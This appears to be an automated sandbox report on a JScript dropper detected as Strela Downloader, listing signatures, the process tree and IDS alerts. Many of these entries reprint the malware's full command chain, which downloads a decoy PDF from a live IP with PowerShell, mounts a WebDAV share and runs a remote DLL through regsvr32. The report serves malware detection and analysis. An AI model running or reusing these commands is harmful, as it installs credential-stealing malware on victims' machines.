Edit tour

Windows Analysis Report
2279239302728123306.js

Overview

General Information

Sample name:	2279239302728123306.js
Analysis ID:	1588560
MD5:	ecfb6f0c27a2b328c9c4e2f5d14d0495
SHA1:	a0e6ddc29c07884d75f1feb1eb54828e3bc7b509
SHA256:	0e8f1f13e8ec9b0b7ebd75712c33fcc16ac728020a5fb103adc5c2e31498420d
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Multi AV Scanner detection for submitted file

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected non-DNS traffic on DNS port

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 5996 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2279239302728123306.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 7100 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21418225878415.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 652 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7120 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 2780 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 4996 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7476 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2392 --field-trial-handle=1512,i,3376101444178727774,5728194804804498819,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 6020 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 4848 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 7236 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 5996	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21418225878415.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7100, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7120, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21418225878415.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7100, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7120, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2279239302728123306.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2279239302728123306.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2279239302728123306.js", ProcessId: 5996, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 4848, Protocol: tcp, SourceIp: 192.168.2.5, SourceIsIpv6: false, SourcePort: 49736

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21418225878415.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21418225878415.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2279239302728123306.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5996, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21418225878415.dll, ProcessId: 7100, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21418225878415.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21418225878415.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2279239302728123306.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5996, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21418225878415.dll, ProcessId: 7100, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21418225878415.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21418225878415.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2279239302728123306.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5996, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21418225878415.dll, ProcessId: 7100, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21418225878415.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21418225878415.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2279239302728123306.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5996, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21418225878415.dll, ProcessId: 7100, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21418225878415.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21418225878415.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2279239302728123306.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5996, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21418225878415.dll, ProcessId: 7100, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2279239302728123306.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2279239302728123306.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2279239302728123306.js", ProcessId: 5996, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21418225878415.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7100, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7120, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6020, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 4848, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7236, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6020, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 4848, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21418225878415.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21418225878415.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2279239302728123306.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5996, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21418225878415.dll, ProcessId: 7100, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T02:24:14.685699+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.5	49720	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T02:24:17.958151+0100	1810005	1	Potentially Bad Traffic	192.168.2.5	49736	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T02:24:14.685699+0100	1810000	2	Potentially Bad Traffic	192.168.2.5	49720	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: 2279239302728123306.js

Virustotal: Detection: 9%

Perma Link

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 2279239302728123306.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 2279239302728123306.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.5:49720 -> 193.143.1.205:80
Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.5:49736 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 01:24:14 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 